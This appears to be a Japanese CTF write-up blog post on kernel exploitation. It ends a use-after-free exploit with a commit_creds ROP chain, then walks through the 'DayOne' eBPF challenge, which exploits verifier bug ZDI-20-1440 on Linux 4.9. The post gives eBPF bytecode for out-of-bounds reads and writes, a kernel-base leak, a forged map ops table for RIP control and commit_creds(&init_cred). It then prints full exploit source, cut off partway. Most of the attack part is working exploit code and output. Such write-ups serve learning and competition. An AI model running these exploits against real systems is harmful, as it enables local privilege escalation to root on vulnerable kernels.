    // if the value of nut is not AAAAAA..., kUAF is realized and seq_operations is there
    if(((ulong*)rbuf)[0] != 0x4242424242424242){
      leaked = 1;
      // do my businness first
      _delete(nutfd, target_idx);

      // gen chain
      chain = (ulong*)((ulong)rbuf + 8);
      *chain++ = kernbase + 0x14ED59;           // pop rdi, pop rsi // MUST two pops to remove necessary pointers in tty_struct
      *chain++ = ((ulong*)rbuf)[2];             // this musn't be collappsed
      *chain++ = ((ulong*)rbuf)[7] & ~0xFFFUL;  // this musn't be collappsed

      *chain++ = kernbase + 0x001BDD; // 0xffffffff81001bdd: pop rdi ; ret  ;  (6917 found)
      *chain++ = 0;
      *chain++ = kernbase + 0x08C3C0; // prepare_kernel_cred
      *chain++ = kernbase + 0x0557B5; // pop rcx
      *chain++ = 0;
      *chain++ = kernbase + 0xA2474B; // mov rdi, rax, rep movsq
      *chain++ = kernbase + 0x08C190; // commit_creds

      *chain++ = kernbase + 0x0557b5; // pop rcx
      *chain++ = kernbase + 0x00CF31; // [starter] leave

      *chain++ = kernbase + 0xc00e06; // swapgs 0xffffffff81c00e26 mov rdi,cr3 (swapgs_restore_regs_and_return_to_usermode)

      *chain++ = 0xEEEEEEEEEEEEEEEE   // dummy
      *chain++ = kernbase + 0x0AD147; // 0xffffffff81026a7b: 48 cf iretq
      *chain++ = &NIRUGIRI;
      *chain++ = user_cs;
      *chain++ = user_rflags;
      *chain++ = user_sp;
      *chain++ = user_ss;

      assert(setxattr("/home/user/exploit", "NIRUGIRI", rbuf, second_size, XATTR_CREATE));
      ioctl(tmpfd, 0, 0x13371337);

      assert(tmpfd > 0);
      return; // unreacable
    }
    close(tmpfd);
    if(writer_counter % 0x1000 == 0){
      printf("[-] writer: 0x%lx, 0x%lx\n", writer_counter, ((ulong*)rbuf)[0]);
    }
    ++writer_counter;
  }
  puts("[+] writer returning...");
  return 0;
}

struct _msgbuf{
  long mtype;
  char mtext[0x30];
};
struct _msgbuf2e0{
  long mtype;
  char mtext[0x2e0];
};

int main(int argc, char *argv[]) {
  pthread_t creater_thr, deleter_thr, shower_thr, appender_thr, cad_thr, cder_thr, writer_thr;
  char rbuf[0x400];
  printf("[+] NIRUGIRI @ %p\n", &NIRUGIRI);
  memset(rbuf, 0, 0x200);
  memset(buf, 'A', 0x200);
  nutfd = open(DEV_PATH, O_RDWR);
  assert(nutfd > 0);
  int qid = msgget(IPC_PRIVATE, 0666 | IPC_CREAT);
  if(qid == -1) errExit("msgget");
  struct _msgbuf msgbuf = {.mtype = 1};
  struct _msgbuf2e0 msgbuf2e0 = {.mtype = 2};
  KMALLOC(qid, msgbuf2e0, 0x5);

  // leak kernbase
  _create(nutfd, 0x20, 0x20, buf);
  int appender_fd = pthread_create(&appender_thr, NULL, appender , 0);
  if(appender_fd > 0)
    errExit("appender_fd");
  int shower_fd = pthread_create(&shower_thr, NULL, shower, 0);
  if(shower_fd > 0)
    errExit("shower_fd");
  void *ret_shower;
  pthread_join(appender_thr, 0);
  pthread_join(shower_thr, &ret_shower);
  const ulong single_start = (ulong)ret_shower;
  kernbase = single_start - 0x1FA9E0;
  printf("[!] kernbase: 0x%lx\n", kernbase);

  // until here, there is NO corruption //
  leaked = -1;
  target_idx = 1;
  memset(buf, 'B', 0x200);
  for(int ix=1; ix!=0x30; ++ix){
    ((ulong*)buf)[ix] = 0xdead00000 + ix*0x1000;
  }
  printf("[+] starting point: 0x%lx\n", kernbase + 0x00CF31);
  ((ulong*)buf)[0x60/8] = kernbase + 0x00CF31;

  _create(nutfd, second_size, second_size, buf);
  _create(nutfd, 0x2e0, 0x2e0, buf);

  save_state();
  appender_fd = pthread_create(&appender_thr, NULL, appender , 0);
  if(appender_fd > 0)
    errExit("appender_fd");
  int writer_fd = pthread_create(&writer_thr, NULL, writer, 0);
  if(writer_fd > 0)
    errExit("writer_fd");
  pthread_join(appender_thr, 0);
  pthread_join(writer_thr, 0);

  NIRUGIRI(); // unreachable
  return 0;
}

 

9: アウトロ

f:id:smallkirby:20210221230418p:plain

the exploit works only in the local

最近kernel問をちょこちょこ解いていたから、ちゃんとCTF開催期間中にremoteでrootを取りたかった。

ちゃんと寝たあとに、 復習してちゃんと動くexploitを書き直す

おやすみなさい。。。

 

【追記20210222】

書きました。setxattrの第一引数を/tmp/exploitから/home/user/exploitにしただけです。悲しいね。人生って、こういうものだよ。

【追記終わり】

 

 

10: 参考

1: ニルギリ

https://youtu.be/yvUvamhYPHw

 

 

 

 

続く...

 

 

【pwn 50.0】DayOne - AIS3 EOF CTF 2020 Finals (kernel exploit)

keywords

eBPF / verifier bug / kernel exploit / commit_creds(&init_cred) / without bpf_map.btf

 

 

 

1: イントロ

いつぞや開催された AIS3 EOF CTF 2020 Finals (全く知らないCTF...)。そのpwn問題である Day One を解いていく。先に言うと本問題は去年公開されたLinuxKernelのeBPF verifierのバグを題材にした問題であり、元ネタはZDIから公開されている。オリジナルのauthorはTWの人で、問題のauthorはHexRabbitさん。

kernel強化月間nowです。何か解くべき問題があったら教えてください。

github.com

 

2: static

basic

basic.sh
/ $ cat /proc/version
Linux version 4.9.249 (root@kernel-builder) (gcc version 7.5.0 (Ubuntu 7.5.0-3ubuntu1~18.04) ) #8 SMP Mon1
/ $ cat /proc/sys/net/core/bpf_jit_enable
1

qemu-system-x86_64 \
  -kernel bzImage \
  -initrd rootfs.cpio.gz \
  -append "console=ttyS0 oops=panic panic=-1 kaslr quiet" \
  -monitor /dev/null \
  -nographic \
  -cpu qemu64,+smep,+smap \
  -m 256M \
  -virtfs local,path=$SHARED_DIR,mount_tag=shared,security_model=passthrough,readonly

 

デバッグ用なのか、こちらで指定するディレクトリをvirtfsでマウントしてくれる(今回は関係ない)。

SMEP有効・SMAP有効・KAISER有効・oops->panic。

 

patch

patch.diff
diff --git a/kernel/bpf/verifier.c b/kernel/bpf/verifier.c
index 335c002..08dca71 100644
--- a/kernel/bpf/verifier.c
+++ b/kernel/bpf/verifier.c
@@ -352,7 +352,7 @@ static void print_bpf_insn(const struct bpf_verifier_env *env,
 			u64 imm = ((u64)(insn + 1)->imm << 32) | (u32)insn->imm;
 			bool map_ptr = insn->src_reg == BPF_PSEUDO_MAP_FD;
 
-			if (map_ptr && !env->allow_ptr_leaks)
+			if (map_ptr && !capable(CAP_SYS_ADMIN))
 				imm = 0;
 
 			verbose("(%02x) r%d = 0x%llx\n", insn->code,
@@ -3627,7 +3627,7 @@ int bpf_check(struct bpf_prog **prog, union bpf_attr *attr)
 	if (ret < 0)
 		goto skip_full_check;
 
-	env->allow_ptr_leaks = capable(CAP_SYS_ADMIN);
+	env->allow_ptr_leaks = true;
 
 	ret = do_check(env);
 
@@ -3731,7 +3731,7 @@ int bpf_analyzer(struct bpf_prog *prog, const struct bpf_ext_analyzer_ops *ops,
 	if (ret < 0)
 		goto skip_full_check;
 
-	env->allow_ptr_leaks = capable(CAP_SYS_ADMIN);
+	env->allow_ptr_leaks = true;
 
 	ret = do_check(env);

うーむ、なんというかZDI-20-1440CAP_SYS_ADMINがないとできないこと()を無理やり修正してる。若干予定調和感が否めないな。

 

3: vuln

ZDI-20-1440

verifierのregister rangeの更新ミス。本問で利用しているkernelが上記からも分かるとおり、 4.9.249 であり、これはこのバグの影響を受けている数少ないバージョンの一つである。以下のようにadjust_reg_min_max_vals()においてBPF_RSH演算の際にdst_regの値の更新をミスっている。まんまZDI-20-1440のままである。

kernel/bpf.verifier.c
	case BPF_RSH:
 	/* RSH by a negative number is undefined, and the BPF_RSH is an
 	 * unsigned shift, so make the appropriate casts.
 	 */
 	if (min_val < 0 || dst_reg->min_value < 0)
 		dst_reg->min_value = BPF_REGISTER_MIN_RANGE;
 	else
 		dst_reg->min_value =
 			(u64)(dst_reg->min_value) >> min_val;
 	if (dst_reg->max_value != BPF_REGISTER_MAX_RANGE)
 		dst_reg->max_value >>= max_val;
 	break;

 

patchの意味

そもそもZDI-20-1440がLPEまで繋がらなかったのは、 mapを指すポインタに対する加法を行うのにCAP_SYS_ADMIN が必要だったからである。BPF_ALU64(BPF_ADD)を行う際には、do_check()において以下のようにcheck_alu_op()が呼び出され、それが加算であり、且つdstレジスタの中身がPTR_TO_MAP_VALUE又はPTR_TO_MAP_VALUE_ADJでない場合には、レジスタを完全に unknown でマークしてしまう([S64_MIN,S64_MAX]にされる)。

do_check()@kernel/bpf/verifier.c
		if (class == BPF_ALU || class == BPF_ALU64) {
			err = check_alu_op(env, insn);
			if (err)
				return err;

		} else if (class == BPF_LDX) {
check_alu_op()@kernel/bpf/verifier.c
		if (env->allow_ptr_leaks &&
		    BPF_CLASS(insn->code) == BPF_ALU64 && opcode == BPF_ADD &&
		    (dst_reg->type == PTR_TO_MAP_VALUE ||
		     dst_reg->type == PTR_TO_MAP_VALUE_ADJ))
			dst_reg->type = PTR_TO_MAP_VALUE_ADJ;
		else
			mark_reg_unknown_value(regs, insn->dst_reg);
	}

それではこのenv->allow_ptr_leaksがいつセットされるかと言うと、bpf_check()do_check()を呼び出す直前にCAP_SYS_ADMINを持っているかどうかで判断している。

bpf_check()@kernel/bpf/verifier.c
	env->allow_ptr_leaks = capable(CAP_SYS_ADMIN);

	ret = do_check(env);

即ち、CAP_SYS_ADMINがないとallow_ptr_leakstrueにならず、したがってmapに対する加算が全てunknownでマークされてしまうため、mapに対するOOBの攻撃ができなくなってしまうというわけである。

今回のパッチは、2つ目と3つ目でこの制限を取り払いallow_ptr_leaksを常にtrueにしている(1つ目はlog表示のことなので関係ない)。

 

最新のkernelでは

最初にZDIの該当レポートを読んだ時、mapポインタに対する加算がCAP_SYS_ADMINがないとダメだということにちょっと驚いた。というのも、TWCTFのeepbfをやったときには、この権限がない状態でmapを操作してAAWに持っていったからだ。というわけで新しめのkernelを見てみると、check_alu_op()において該当の処理が消えていた。すなわち、mapポインタに対する加法はそれがmapの正答なメモリレンジ内にある限りnon-adminに対しても許容されるようになっていた(勿論レンジのチェックはcheck_map_access()において行われる)。

 

というか、pointer leakが任意に可能じゃん...

というか、allow_ptr_leakstrueになっているため、任意にポインタをリークすることができる。例えば、以下のようなeBPFプログラムで(rootでなくても)簡単にmapのアドレスがleakできる。

stack_leak.c
    BPF_LD_MAP_FD(BPF_REG_1, control_map),              // r1 = cmap
    BPF_MOV64_REG(BPF_REG_2, BPF_REG_FP),               // r2 = rbp
    BPF_ALU64_IMM(BPF_ADD, BPF_REG_2, -0x8),            // r2 -= 8
    BPF_ST_MEM(BPF_DW, BPF_REG_2, 0, 0),                // qword[r2] = 0
    BPF_ST_MEM(BPF_DW, BPF_REG_2, -8, 0),
    BPF_EMIT_CALL(BPF_FUNC_map_lookup_elem),            // r0 = map_lookup_elem(cmap, 0)
    BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 1),              // jmp if r0!=0
    BPF_EXIT_INSN(),
    BPF_MOV64_REG(BPF_REG_8, BPF_REG_0),                // r8 = &cmap[0]
    BPF_STX_MEM(BPF_DW, BPF_REG_8, BPF_REG_8)
result.sh
/ $ ./mnt/exploit
[80] 0xffff88000e300a90
[88] 0xffff88000e300a90
[96] 0xffff88000e300a90
[104] 0xffff88000e300a90
[112] 0xffff88000e300a90
[120] 0xffff88000e300a90
[128] 0xffff88000e300a90
[136] 0xffff88000e300a90

うーん、お題のために制限をゆるくしすぎてる気がするなぁ。。。

 

 

4: leak kernbase

0に見える1をつくる

こっからは作業ゲーです。後半は意外とそんなことなくて勉強になった。

まずは以下のBPFコードでverifierからは0に見えるような1をつくる。

make_1_looks_0.c
    /* get cmap[0] */
    BPF_LD_MAP_FD(BPF_REG_1, control_map),              // r1 = cmap
    BPF_MOV64_REG(BPF_REG_2, BPF_REG_FP),               // r2 = rbp
    BPF_ALU64_IMM(BPF_ADD, BPF_REG_2, -0x8),            // r2 -= 8
    BPF_ST_MEM(BPF_DW, BPF_REG_2, 0, 0),                // qword[r2] = 0
    BPF_ST_MEM(BPF_DW, BPF_REG_2, -8, 0),
    BPF_EMIT_CALL(BPF_FUNC_map_lookup_elem),            // r0 = map_lookup_elem(cmap, 0)
    BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 1),              // jmp if r0!=0
    BPF_EXIT_INSN(),
    BPF_LDX_MEM(BPF_DW, BPF_REG_6, BPF_REG_0, 0),       // r6 = cmap[0] (==0)
    BPF_MOV64_REG(BPF_REG_9, BPF_REG_0),                // r9 = &cmap[0]
    BPF_MOV64_REG(BPF_REG_8, BPF_REG_0),                // r8 = &cmap[0]
    /* get cmap[1] */
    BPF_LD_MAP_FD(BPF_REG_1, control_map),              // r1 = cmap
    BPF_MOV64_REG(BPF_REG_2, BPF_REG_FP),               // r2 = rbp
    BPF_ALU64_IMM(BPF_ADD, BPF_REG_2, -0x8),            // r2 -= 8
    BPF_ST_MEM(BPF_DW, BPF_REG_2, 0, 1),                // qword[r2] = 1
    BPF_EMIT_CALL(BPF_FUNC_map_lookup_elem),            // r0 = map_lookup_elem(cmap, 1)
    BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 1),              // jmp if r0!=0
    BPF_EXIT_INSN(),
    BPF_LDX_MEM(BPF_DW, BPF_REG_7, BPF_REG_0, 0),       // r7 = cmap[1] (==1)
    /* fix r6/r7 range */
    BPF_JMP_IMM(BPF_JSGE, BPF_REG_6, 0, 2),              // ensure R6>=0
    BPF_MOV64_IMM(BPF_REG_0, 0),
    BPF_EXIT_INSN(),
    BPF_JMP_IMM(BPF_JSGE, BPF_REG_6, 2, 1),              // ensure 0<=R6<=1
    BPF_JMP_IMM(BPF_JA, 0, 0, 2),
    BPF_MOV64_IMM(BPF_REG_0, 0),
    BPF_EXIT_INSN(),
    BPF_JMP_IMM(BPF_JSGE, BPF_REG_7, 0, 2),              // ensure R7>=0
    BPF_MOV64_IMM(BPF_REG_0, 0),
    BPF_EXIT_INSN(),
    BPF_JMP_IMM(BPF_JSGE, BPF_REG_7, 2, 1),              // ensure 0<=R7<=1
    BPF_JMP_IMM(BPF_JA, 0, 0, 2),
    BPF_MOV64_IMM(BPF_REG_0, 0),
    BPF_EXIT_INSN(),
    // exploit r6 range 
    BPF_ALU64_REG(BPF_RSH, BPF_REG_6, BPF_REG_7),       // r6 >>= r7 (r6 regarded as 0, actually 1)
    BPF_ALU64_IMM(BPF_NEG, BPF_REG_6, 0),               // r6 *= -1
    BPF_ALU64_IMM(BPF_MUL, BPF_REG_6, N),               // r6 *= N

但し、control_mapはサイズ8、要素数10のARRAYである。[0]には常に1を入れ、[1]には常に0を入れておく。前半はただcontrol_mapから0と1を取得しているだけである。fix r6/r7 rangeと書いてあるところでバグを利用して0に見える1を作っている。ジャンプ命令が多いのは、R6/R7の上限と下限をそれぞれ1,0にするためである。最後に、BPF_NEGにしているのは、leakの段階ではleakしたいものが負の方向にあるからである。最後に 定数のN をかけてOOB(R)を達成している。尚、このNをmapから取ってきたような値にすると、MULの時にverifierがdstをunknownにマークしてしまうため、プログラムをロードする度に定数値をNに入れて毎回動的にロードしている(前回eBPF問題を解いた時はNをmapから取得した値にして何度もverifierに怒られた...)。

実際にlog表示を見てみると、以下のようにR6は0と認識されていることが分かる。

verifier-log.txt
from 28 to 31: R0=map_value(ks=4,vs=8,id=0),min_value=0,max_value=0 R6=inv,min_value=0,max_value=1 R7=inv,min_value=0 R8=map_valup
31: (75) if r7 s>= 0x2 goto pc+1
 R0=map_value(ks=4,vs=8,id=0),min_value=0,max_value=0 R6=inv,min_value=0,max_value=1 R7=inv,min_value=0,max_value=1 R8=map_value(p
32: (05) goto pc+2
35: (7f) r6 >>= r7
36: (87) r6 neg 0
37: (27) r6 *= 136
38: (0f) r9 += r6
39: (79) r3 = *(u64 *)(r9 +0)
 R0=map_value(ks=4,vs=8,id=0),min_value=0,max_value=0 R6=inv,min_value=0,max_value=0 R7=inv,min_value=0,max_value=1 R8=map_value(p
40: (7b) *(u64 *)(r8 +0) = r3

 

leak from bpf_map.ops

今回はmap typeとしてARRAYを選択しているため、struct bpf_arraystruct bpf_mapが使われる。構造体はそれぞれ以下のとおり。

f:id:smallkirby:20210220030222p:plain

struct bpf_array

f:id:smallkirby:20210220030238p:plain

struct bpf_map

 

この内、bpf_map.opsは、kernel/bpf/arraymap.cで定義されるようにarray_opsが入っている。これをleakすることでkernbaseをleakしたことになる。

f:id:smallkirby:20210220030324p:plain

bpf_map.ops has a pointer to array_ops

 

厳密にmapからopsまでのオフセットを計算するのは面倒くさいため適当に検討をつけてみてみると、以下のようになる。(eBPFには制限の一つとしてロードできるプログラム数に上限があるため注意)

leak-bpf_map-ops.c
  int N=0x80;
  for(int ix=N/8; ix!=N/8+8; ++ix){
    printf("[%d] 0x%lx\n", ix*0x8, read_rel(ix*0x8));
  }
 
 / # ./mnt/exploit
[128] 0xa00000008
[136] 0x400000002
[144] 0xffffffff81a12100 <-- こいつ
[152] 0x0
[160] 0x0
[168] 0x0
[176] 0x0
[184] 0x0

 

5: AAR via bpf_map_get_info_by_id() [FAIL]

以前解いたeebpfでは、bpf_map.btfを書き換えてbpf_map_get_info_by_id()を呼び出すことでAARを実現できた。だが上のbpf_map構造体を見て分かるとおり、 bpf_map.bfpというメンバは存在していない 。kernelが古いからね...。というわけで、この方法によるAARは諦める。

 

6: forge ops and commit_creds(&init_cred) directly

本問では、上述したようにmap自体のアドレスを容易にleakすることができる。また、bpf_mapの全てを自由に書き換えることができる。よって、mapの中にfake function tableを用意しておいて、bpf_map.opsをこれに向ければ任意の関数を実行させることができる。取り敢えず、以下のようにするとRIPが取れる。

rip-poc.c
  const ulong fakeops_addr = controlmap_addr + 0x10;
  int N = 0x90;
  struct bpf_insn reader_insns[] = {
    /* get cmap[0] */
    BPF_LD_MAP_FD(BPF_REG_1, control_map),              // r1 = cmap
    BPF_MOV64_REG(BPF_REG_2, BPF_REG_FP),               // r2 = rbp
    BPF_ALU64_IMM(BPF_ADD, BPF_REG_2, -0x8),            // r2 -= 8
    BPF_ST_MEM(BPF_DW, BPF_REG_2, 0, 0),                // qword[r2] = 0
    BPF_ST_MEM(BPF_DW, BPF_REG_2, -8, 0),
    BPF_EMIT_CALL(BPF_FUNC_map_lookup_elem),            // r0 = map_lookup_elem(cmap, 0)
    BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 1),              // jmp if r0!=0
    BPF_EXIT_INSN(),
    BPF_LDX_MEM(BPF_DW, BPF_REG_6, BPF_REG_0, 0),       // r6 = cmap[0] (==0)
    BPF_MOV64_REG(BPF_REG_9, BPF_REG_0),                // r9 = &cmap[0]
    BPF_MOV64_REG(BPF_REG_8, BPF_REG_0),                // r8 = &cmap[0]
    /* get cmap[1] */
    BPF_LD_MAP_FD(BPF_REG_1, control_map),              // r1 = cmap
    BPF_MOV64_REG(BPF_REG_2, BPF_REG_FP),               // r2 = rbp
    BPF_ALU64_IMM(BPF_ADD, BPF_REG_2, -0x8),            // r2 -= 8
    BPF_ST_MEM(BPF_DW, BPF_REG_2, 0, 1),                // qword[r2] = 1
    BPF_EMIT_CALL(BPF_FUNC_map_lookup_elem),            // r0 = map_lookup_elem(cmap, 1)
    BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 1),              // jmp if r0!=0
    BPF_EXIT_INSN(),
    BPF_LDX_MEM(BPF_DW, BPF_REG_7, BPF_REG_0, 0),       // r7 = cmap[1] (==1)
    /* fix r6/r7 range */
    BPF_JMP_IMM(BPF_JSGE, BPF_REG_6, 0, 2),              // ensure R6>=0
    BPF_MOV64_IMM(BPF_REG_0, 0),
    BPF_EXIT_INSN(),
    BPF_JMP_IMM(BPF_JSGE, BPF_REG_6, 2, 1),              // ensure 0<=R6<=1
    BPF_JMP_IMM(BPF_JA, 0, 0, 2),
    BPF_MOV64_IMM(BPF_REG_0, 0),
    BPF_EXIT_INSN(),
    BPF_JMP_IMM(BPF_JSGE, BPF_REG_7, 0, 2),              // ensure R7>=0
    BPF_MOV64_IMM(BPF_REG_0, 0),
    BPF_EXIT_INSN(),
    BPF_JMP_IMM(BPF_JSGE, BPF_REG_7, 2, 1),              // ensure 0<=R7<=1
    BPF_JMP_IMM(BPF_JA, 0, 0, 2),
    BPF_MOV64_IMM(BPF_REG_0, 0),
    BPF_EXIT_INSN(),
    // exploit r6 range 
    BPF_ALU64_REG(BPF_RSH, BPF_REG_6, BPF_REG_7),       // r6 >>= r7 (r6 regarded as 0, actually 1)
    BPF_ALU64_IMM(BPF_NEG, BPF_REG_6, 0),               // r6 *= -1
    BPF_MOV64_REG(BPF_REG_7, BPF_REG_6),                // r7 = r6
    // overwrite ops into forged ops
    BPF_MOV64_IMM(BPF_REG_1, (fakeops_addr>>32) & 0xFFFFFFFFUL),
    BPF_ALU64_IMM(BPF_LSH, BPF_REG_1, 32),
    BPF_ALU64_IMM(BPF_ADD, BPF_REG_1, fakeops_addr & 0xFFFFFFFFUL),
    BPF_ALU64_IMM(BPF_MUL, BPF_REG_6, N),
    BPF_ALU64_REG(BPF_ADD, BPF_REG_8, BPF_REG_6),       // r8 += r6
    BPF_STX_MEM(BPF_DW, BPF_REG_8, BPF_REG_1, 0),
    
    // Go Home
    BPF_MOV64_IMM(BPF_REG_0, 0),                        // r0 = 0
    BPF_EXIT_INSN()
  };

  int evilwriter= create_filtered_socket_fd(reader_insns, ARRSIZE(reader_insns));
  if(evilwriter < 0){
    errExit("reader not initialized");
  }

  // setup fake table
  for(int ix=0; ix!=7; ++ix){
    array_update(control_map, ix+2, 0xcafebabedeadbeef);
  }

  array_update(control_map, 0, 1);
  array_update(control_map, 1, 0);
  trigger_proc(evilwriter);
  const ulong tmp = get_ulong(control_map, 0);

f:id:smallkirby:20210220031345p:plain

get RIP (for now, RIP to 0xcafebabedeadbeef)

ここでOopsが起きた原因は、用意したfaketableの+0x20にアクセスし、不正なアドレス0xcafebabedeadbeefにアクセスしようとしたからである。ジャンプテーブルの+0x20というのはmap_lookup_elem()である。

f:id:smallkirby:20210220030630p:plain

members of array_ops

 

さて、このようにRIPを取ることはできるが、問題はもとの関数テーブルの全ての関数の第一引数がstruct bpf_map *mapであるということである。つまり、第一引数は任意に操作することができない。よって、関数の中でいい感じに第二引数以降を利用していい感じの処理をしてくれる関数があると嬉しい。その観点でkernel/bpf/arraymap.cを探すと、fd_array_map_delete_elem()が見つかる。これは、perf_event_array_opsとかprog_array_opsとかのメンバである。(尚、map_array_opsの該当メンバであるarray_map_delete_elem()-EINVALを返すだけのニート関数である。お前なんて関数やめてインラインになってしまえばいい)。

kernel/bpf/arraymap.c
static int fd_array_map_delete_elem(struct bpf_map *map, void *key)
{
	struct bpf_array *array = container_of(map, struct bpf_array, map);
	void *old_ptr;
	u32 index = *(u32 *)key;

	if (index >= array->map.max_entries)
		return -E2BIG;

	old_ptr = xchg(array->ptrs + index, NULL);
	if (old_ptr) {
		map->ops->map_fd_put_ptr(old_ptr);
		return 0;
	} else {
		return -ENOENT;
	}
}

xchg()は、第一引数の指すポインタの指す先に第二引数の値を入れて、古い値を返す関数である。そしてその先でmap->ops->map_fd_put_ptr(old_ptr)を呼んでくれる。つまり、array->ptrsの指す先に&init_credを入れておいて、map->ops->map_fd_put_ptrcommit_credsに書き換えればcommit_creds(&init_cred)を直接呼んだことになる。やったね!

 

一つ注意として、execve()でシェルを呼んでしまうと、socketが解放されてその際にmapの解放が起きてしまう。テーブルを書き換えているためその時にOopsが起きて死んでしまう。よってシェルはsystem("/bin/sh")で呼ぶ。

 

 

7: exploit

exploit.c
#define _GNU_SOURCE
#include <string.h>
#include <stdio.h>
#include <fcntl.h>
#include <stdint.h>
#include <unistd.h>
#include <assert.h>
#include <stdlib.h>
#include <signal.h>
#include <poll.h>
#include <pthread.h>
#include <err.h>
#include <errno.h>
#include <sched.h>
#include <linux/bpf.h>
#include <linux/filter.h>
#include <linux/userfaultfd.h>
#include <linux/prctl.h>
#include <sys/syscall.h>
#include <sys/ipc.h>
#include <sys/msg.h>
#include <sys/prctl.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <sys/xattr.h>
#include <sys/socket.h>
#include <sys/uio.h>
#include <sys/shm.h>

// eBPF-utils
#define ARRSIZE(x) (sizeof(x) / sizeof((x)[0]))
#define BPF_REG_ARG1    BPF_REG_1
#define BPF_REG_ARG2    BPF_REG_2
#define BPF_REG_ARG3    BPF_REG_3
#define BPF_REG_ARG4    BPF_REG_4
#define BPF_REG_ARG5    BPF_REG_5
#define BPF_REG_CTX     BPF_REG_6
#define BPF_REG_FP      BPF_REG_10

#define BPF_LD_IMM64_RAW(DST, SRC, IMM)         \
  ((struct bpf_insn) {                          \
    .code  = BPF_LD | BPF_DW | BPF_IMM,         \
    .dst_reg = DST,                             \
    .src_reg = SRC,                             \
    .off   = 0,                                 \
    .imm   = (__u32) (IMM) }),                  \
  ((struct bpf_insn) {                          \
    .code  = 0, /* zero is reserved opcode */   \
    .dst_reg = 0,                               \
    .src_reg = 0,                               \
    .off   = 0,                                 \
    .imm   = ((__u64) (IMM)) >> 32 })
#define BPF_LD_MAP_FD(DST, MAP_FD)              \
  BPF_LD_IMM64_RAW(DST, BPF_PSEUDO_MAP_FD, MAP_FD)
#define BPF_LDX_MEM(SIZE, DST, SRC, OFF)        \
  ((struct bpf_insn) {                          \
    .code  = BPF_LDX | BPF_SIZE(SIZE) | BPF_MEM,\
    .dst_reg = DST,                             \
    .src_reg = SRC,                             \
    .off   = OFF,                               \
    .imm   = 0 })
#define BPF_MOV64_REG(DST, SRC)                 \
  ((struct bpf_insn) {                          \
    .code  = BPF_ALU64 | BPF_MOV | BPF_X,       \
    .dst_reg = DST,                             \
    .src_reg = SRC,                             \
    .off   = 0,                                 \
    .imm   = 0 })
#define BPF_ALU64_IMM(OP, DST, IMM)             \
  ((struct bpf_insn) {                          \
    .code  = BPF_ALU64 | BPF_OP(OP) | BPF_K,    \
    .dst_reg = DST,                             \
    .src_reg = 0,                               \
    .off   = 0,                                 \
    .imm   = IMM })
#define BPF_ALU32_IMM(OP, DST, IMM)             \
  ((struct bpf_insn) {                          \
    .code  = BPF_ALU | BPF_OP(OP) | BPF_K,      \
    .dst_reg = DST,                             \
    .src_reg = 0,                               \
    .off   = 0,                                 \
    .imm   = IMM })
#define BPF_STX_MEM(SIZE, DST, SRC, OFF)        \
  ((struct bpf_insn) {                          \
    .code  = BPF_STX | BPF_SIZE(SIZE) | BPF_MEM,\
    .dst_reg = DST,                             \
    .src_reg = SRC,                             \
    .off   = OFF,                               \
    .imm   = 0 })
#define BPF_ST_MEM(SIZE, DST, OFF, IMM)         \
  ((struct bpf_insn) {                          \
    .code  = BPF_ST | BPF_SIZE(SIZE) | BPF_MEM, \
    .dst_reg = DST,                             \
    .src_reg = 0,                               \
    .off   = OFF,                               \
    .imm   = IMM })
#define BPF_EMIT_CALL(FUNC)                     \
  ((struct bpf_insn) {                          \
    .code  = BPF_JMP | BPF_CALL,                \
    .dst_reg = 0,                               \
    .src_reg = 0,                               \
    .off   = 0,                                 \
    .imm   = (FUNC) })
#define BPF_JMP_REG(OP, DST, SRC, OFF)				  \
  ((struct bpf_insn) {					                \
    .code  = BPF_JMP | BPF_OP(OP) | BPF_X,      \
    .dst_reg = DST,					                    \
    .src_reg = SRC,					                    \
    .off   = OFF,					                      \
    .imm   = 0 })
#define BPF_JMP_IMM(OP, DST, IMM, OFF)          \
  ((struct bpf_insn) {                          \
    .code  = BPF_JMP | BPF_OP(OP) | BPF_K,      \
    .dst_reg = DST,                             \
    .src_reg = 0,                               \
    .off   = OFF,                               \
    .imm   = IMM })
#define BPF_EXIT_INSN()                         \
  ((struct bpf_insn) {                          \
    .code  = BPF_JMP | BPF_EXIT,                \
    .dst_reg = 0,                               \
    .src_reg = 0,                               \
    .off   = 0,                                 \
    .imm   = 0 })
#define BPF_LD_ABS(SIZE, IMM)                   \
  ((struct bpf_insn) {                          \
    .code  = BPF_LD | BPF_SIZE(SIZE) | BPF_ABS, \
    .dst_reg = 0,                               \
    .src_reg = 0,                               \
    .off   = 0,                                 \
    .imm   = IMM })
#define BPF_ALU64_REG(OP, DST, SRC)             \
  ((struct bpf_insn) {                          \
    .code  = BPF_ALU64 | BPF_OP(OP) | BPF_X,    \
    .dst_reg = DST,                             \
    .src_reg = SRC,                             \
    .off   = 0,                                 \
    .imm   = 0 })
#define BPF_MOV64_IMM(DST, IMM)                 \
  ((struct bpf_insn) {                          \
    .code  = BPF_ALU64 | BPF_MOV | BPF_K,       \
    .dst_reg = DST,                             \
    .src_reg = 0,                               \
    .off   = 0,                                 \
    .imm   = IMM })

int bpf_(int cmd, union bpf_attr *attrs) {
  return syscall(__NR_bpf, cmd, attrs, sizeof(*attrs));
}

int array_create(int value_size, int num_entries) {
  union bpf_attr create_map_attrs = {
      .map_type = BPF_MAP_TYPE_ARRAY,
      .key_size = 4,
      .value_size = value_size,
      .max_entries = num_entries
  };
  int mapfd = bpf_(BPF_MAP_CREATE, &create_map_attrs);
  if (mapfd == -1)
    err(1, "map create");
  return mapfd;
}

int array_update(int mapfd, uint32_t key, uint64_t value)
{
  union bpf_attr attr = {
    .map_fd = mapfd,
    .key = (uint64_t)&key,
    .value = (uint64_t)&value,
    .flags = BPF_ANY,
  };
  return bpf_(BPF_MAP_UPDATE_ELEM, &attr);
}

int array_update_big(int mapfd, uint32_t key, char* value)
{
  union bpf_attr attr = {
    .map_fd = mapfd,
    .key = (uint64_t)&key,
    .value = value,
    .flags = BPF_ANY,
  };
  return bpf_(BPF_MAP_UPDATE_ELEM, &attr);
}

unsigned long get_ulong(int map_fd, uint64_t idx) {
  uint64_t value;
  union bpf_attr lookup_map_attrs = {
    .map_fd = map_fd,
    .key = (uint64_t)&idx,
    .value = (uint64_t)&value
  };
  if (bpf_(BPF_MAP_LOOKUP_ELEM, &lookup_map_attrs))
